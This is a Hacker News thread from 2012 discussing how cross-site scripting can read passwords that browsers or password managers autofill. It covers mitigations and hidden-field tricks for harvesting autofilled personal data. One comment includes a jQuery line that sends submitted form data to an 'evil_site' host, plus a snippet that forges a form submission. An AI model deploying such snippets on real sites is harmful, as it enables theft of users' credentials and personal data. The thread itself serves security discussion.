
XSS + "Save your password" = pwned - homakov
http://homakov.blogspot.com/2012/11/xss-save-your-password-pwned.html
======
nikcub
This has been used in the wild in XSS payloads for years now.

For eg. check this presentation from Stratsec at EUSecWest '09[0] specifically
slide 35 which talks about exploiting password managers.

see 'Abusing Password Managers with XSS' from Neohapsis[1]

also the Beef project has a module called Get Stored Credentials[2]

The reason it was only one slide in the presentation and so little else has
been written about it? First, because it is obvious - when learning XSS after
cookies and sessions the next thing most devs go at is the password manager.

And second, it just isn't as interesting when you have so much more you can do
with XSS, and tampering with password managers is a narrow vector.

[0]
[http://www.stratsec.net/getattachment/09ce9a5a-07d2-41ca-843...](http://www.stratsec.net/getattachment/09ce9a5a-07d2-41ca-8430-3c51a18a59b7/stratsec
---EUSecWest-2009---Writing-Better-XSS-Payloads.pdf)

[1] [http://labs.neohapsis.com/2012/04/25/abusing-password-
manage...](http://labs.neohapsis.com/2012/04/25/abusing-password-managers-
with-xss/)

[2] <http://beefproject.com/>

~~~
homakov
>And second, it just isn't as interesting when you have so much more you can
do with XSS, and tampering with password managers is a narrow vector.

what can be better than GETTING PASSWORD(=full power). I know it was known.

------
kaolinite
Auto-complete is completely irrelevant - you can listen in on the form submit
action and you can steal session cookies without having auto-complete so there
is little benefit.

However, there is another attack involving auto-complete that is less well
known and more concerning. You can hide text input fields with CSS with names
such as "address", "phonenumber", etc, and when a user goes to auto-complete
their email address - it fills in all of their private info that they might
not want that website to have.

~~~
michaelmior
I think the point is that using saved passwords means you don't have to catch
the user when logging in, you can grab the password at any time. (Assuming an
XSS attack exists of course.)

~~~
kaolinite
Same goes for session cookies and the 'good thing' about session cookies is
that an XSS attack should work anywhere on the domain, rather than just the
login page (assuming it's not a website with a login form on each page).

~~~
homakov
michaelmior is completely right.

You don't need xss on login page. You can have xss on any page and open an
iframe/window with login and then steal via same origin

~~~
kaolinite
Ok, fair point, but even so - it's still not as much of a concern as other XSS
and auto-complete vulnerabilities.

~~~
homakov
XSS is ok. CSRF is ok. Losing my real password is the worst thing to happen

------
12345j
I don't see how this is a security hole, unless the website gets hacked in
another way. Every time you sign up for an account the website could save your
password in plaintext which they could view later. Same thing for signing in,
a website could just save the submitted password.

If for some reason my logic is flawed, then a lot of information would have to
be denied, essentially and operation on a password input. You'd have to
disable and .type, .val, and probably a couple of others on password fields.

~~~
Tichy
Most websites include a host of javascript from other sites, like Google
Analytics, Like-Buttons, Ads, and so on. If they all can get to the password
it seems like an issue to me.

Personally I am surprised by this. Afaik you can not copy+paste the password
from a password form field, so I just somehow assumed you couldn't get to it
via JavaScript, either.

~~~
homakov
good analogy with copy paste

------
chrismorgan
The suggestion that you should forbid access to the prefilled password from
JavaScript just doesn't work and will break many websites. If the form is
submitted in the regular way, it will typically work, but any sort of
background logging in or AJAX form submission will then fail.

And what's so special about what you've saved? XSS is a security hole and so
once a script is injected it doesn't really matter whether it's the prefilled
password or a password that gets typed in - it's just perhaps slightly more
likely to be there. (But then, I wouldn't think people are in the habit of
leaving a filled in login form as it is - I at least would be likely to
compulsively submit it and log in.)

~~~
homakov
updated the post

------
anonymfus
That is one of the main reasons why I use Opera where password is filled only
after I press special button.

~~~
homakov
you always have to press that button. btw, can you test on opera?

~~~
laumars
It doesn't work in Opera.

Basically Opera doesn't auto-complete unless you click a specific button once
the page loads. Then Opera will not only auto complete the password form, but
submit it as well.

~~~
hythloday
Isn't there a race condition, where the password is visible to malicious
Javascript, before the submit navigates away from the filled-form page?

~~~
plorkyeran
Yes, and I've actually used that to extract my own password that I've
forgotten. Opera's implementation coincidentally stops this specific attack,
but it's not in any way a security mechanism.

------
the_gipsy
An attacker could already simply redirect the form or post silently via XHR to
gather the password, even if you __didn't __save your password before. This is
not very useful.

~~~
zxcdw
Useful or not, it's yet another way. Yet another tool in the arsenal. Yet
another quirk to worry about.

~~~
icebraining
The way is the same: getting rogue JS to run on your page. If the attacker
gets that, it doesn't really matter how many ways they have to copy the
password.

------
DanielShir
This is nothing new. Once XSS has been exploited the users are already pwned
regardless of password policy.

~~~
homakov
>This is nothing new. Once XSS has been exploited the users are already pwned
regardless of password policy.

stealing password >> XSS.

------
hodgesmr
This has nothing to do with pre-filled passwords. Type any text in and click
the link in the demo (without POSTing or having the browser save) and it pulls
the text out. XSS works on what the field is populated with, whether typed by
the user or pre-filled by the browser.

------
alptrv
I think you need to update your post with the clarification that you don't
have to add XSS directly to the login page - you can steal user's password
from whatever page the user are currently in, even if they are already logged
in.

~~~
homakov
that's right. i thought it's obvious - will update

------
eloisant
tl;dr; XSS is a security hole.

~~~
jerf
Too glib. In security, you want defense in depth, because what you thought was
your perfect perimeter never is. It is fair to discuss whether or not there is
anything a browser can do to mitigate this, even in the face of a security
violation. Hence things like domain policies on AJAX use... in theory they are
never necessary because everybody's perfectly secure, right?

I suspect that other's analysis that the proposed solution is impossible is
correct, and JS needs access to the prefilled in password for a lot of auth to
work. But it's a valid discussion, and is not rendered moot by simply
observing that another security violation has already occurred.

~~~
homakov
updated the post

------
MindTwister
This is a non-story, if I'm able to execute script on your site I don't have
to wait for the password manager...

    
    
        $('form').submit(function(){ $.get('evil_site' + $(this).serialize()) });
    

(Sorry for jQuery). But who cares... let the user log in by himself and let
him do the bad stuff.

    
    
        $('textarea.comments').val("You smell");
        $('form').submit();

------
arnoooooo
How is this news ?

~~~
cubehouse
What he said. Old, commonly known and previously exploited. Here is how you
disable autocomplete on your website: [https://developer.mozilla.org/en-
US/docs/How_to_Turn_Off_For...](https://developer.mozilla.org/en-
US/docs/How_to_Turn_Off_Form_Autocompletion)

~~~
icebraining
Disabling autocomplete just forces people to write the password manually,
which can still be copied. How is that any better?

~~~
homakov
the cherry here is autofill. no user involved

------
hippich
What I think might be interesting hack against it - to have browser to fill
incorrect information. This way it might prevent script from grabbing correct
login/password, unless hacker do it right and send password on each onkeyup
event :)

------
h43z
I tried to get the saved values of the input type=text tags without xss. It's
a pretty messy method and doesn't work very well. <http://j.mp/YbLvuK> Any
ideas?

------
JimWestergren
I am happy I don't store any passwords anymore in the browser or even in my
computer. All of them (200+) was moved to LastPass. One of the best decisions
I have ever made.

~~~
jasonlingx
That's what this is talking about, using xss to sniff your lastpass filled
password field...

~~~
JimWestergren
Just tested, you are right. :(

------
jonnymkramer
His suggested fix will break work for sites that use AJAX on the login forms.

It is however an interesting vector as it will steal the password without any
user interaction or knowledge.

~~~
homakov
>His suggested fix will break work for sites that use AJAX on the login forms.
I forgot about AJAX, I was wrong. >It is however an interesting vector as it
will steal the password without any user interaction or knowledge. I am trying
to say it here.

------
x-sam
one of the main reasons, that someone could find XSS on your website.
Afterwards, he needs just to open an iframe and you may get your password in a
plan-text.

without any redirects and other hijackings

------
foxhill
i'm using chrome 23 on OS X, and i can't make this work.

~~~
zxcdw
Works well with Firefox 17.0 on Arch Linux

